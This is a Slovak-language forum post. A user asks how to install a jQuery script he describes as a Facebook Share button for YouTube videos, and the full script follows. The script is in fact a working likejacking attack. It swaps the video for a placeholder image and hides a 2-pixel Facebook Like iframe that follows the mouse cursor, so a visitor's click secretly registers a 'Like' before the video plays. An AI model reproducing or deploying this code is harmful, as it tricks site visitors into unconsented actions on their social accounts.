Autor Zpráva
Tino
Profil *
Zdravím,
Mám kod ktorý by mal fungovať ako Facebook Share na youtube video na vašej stránke iba že neviem ako ho použiť skúšal som ho použiť medzi tag head ale nefunguje totiž neviem kde robím chybu

<script type="text/javascript">

  // Put here the url to like, use document.location.href to use current url.
  var sUrlToLike = 'http://www.site.com/your-url-to-like';
  // An image to use to replace the YouTube video before the user clicks on it.
  var sImageToUse = 'http://www.site.com/image-to-use-before-video-gets-loaded.png';

  var oYouTubeFrame = $('iframe[src*="youtube.com/embed/"]');
  var aMatches      = oYouTubeFrame.attr('src').match( /^.+embed\/(.+)/ );

  if( aMatches )
  {
    var sInstanceId         = 'lj' + ( new Date() ).getTime();
    var oActiveElement      = undefined;
    var oInterval           = undefined;
    var oRemoveInterval  = undefined;
    var oImage           = $( '<img src="' + sImageToUse + '" width="560" height="315"/>' );
    var oInvisibleDiv       = $( '<div/>' );
    var oIFrame          = $( '<iframe id="' + sInstanceId + '"></iframe>' );
    var sVideoCode          = aMatches[1];
    var bDone            = false;
    var iX = 0;
    var iY = 0;

    oYouTubeFrame.hide().after( oImage );

    oInterval = setInterval( function()
    {
      oActiveElement = $( document.activeElement );

      if( oActiveElement.attr('id') == sInstanceId && bDone == false )
      {
        oImage.remove();

        oYouTubeFrame
        .attr( 'src', 'http://www.youtube.com/embed/' + sVideoCode + '?autoplay=1' )
        .show();

        bDone = true;
        oRemoveInterval = setInterval( function()
        {
          oInvisibleDiv.remove();

          clearInterval( oRemoveInterval );
          clearInterval( oInterval );
        },
        1000 );
      }
    },
    50 );

    oInvisibleDiv.css
    ({
      border     : 0,
      width      : '2px',
      height     : '2px',
      position   : 'absolute',
      background : '#000'
    });

    oIFrame.css
    ({
      border   : 0,
      width    : '2px',
      height   : '2px',
      margin   : 0,
      padding  : 0,
      position : 'absolute'
    })
    .attr( 'scrolling',   'no' )
    .attr( 'frameborder', 'no' )
    .attr( 'src',         'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent( sUrlToLike ) + '&show_faces=false' )
    .appendTo( oInvisibleDiv );

    oInvisibleDiv.appendTo('body');

    $('body').mousemove( function(e)
    {
      iX = e.pageX;
      iY = e.pageY;

      oInvisibleDiv.css
      ({
        left : ( e.pageX - 1 ) + 'px',
        top  : ( e.pageY - 1 ) + 'px'
      });
    });
  }

</script>

Vaše odpověď


Prosím používejte diakritiku a interpunkci.

Ochrana proti spamu. Napište prosím číslo dvě-sta čtyřicet-sedm:

0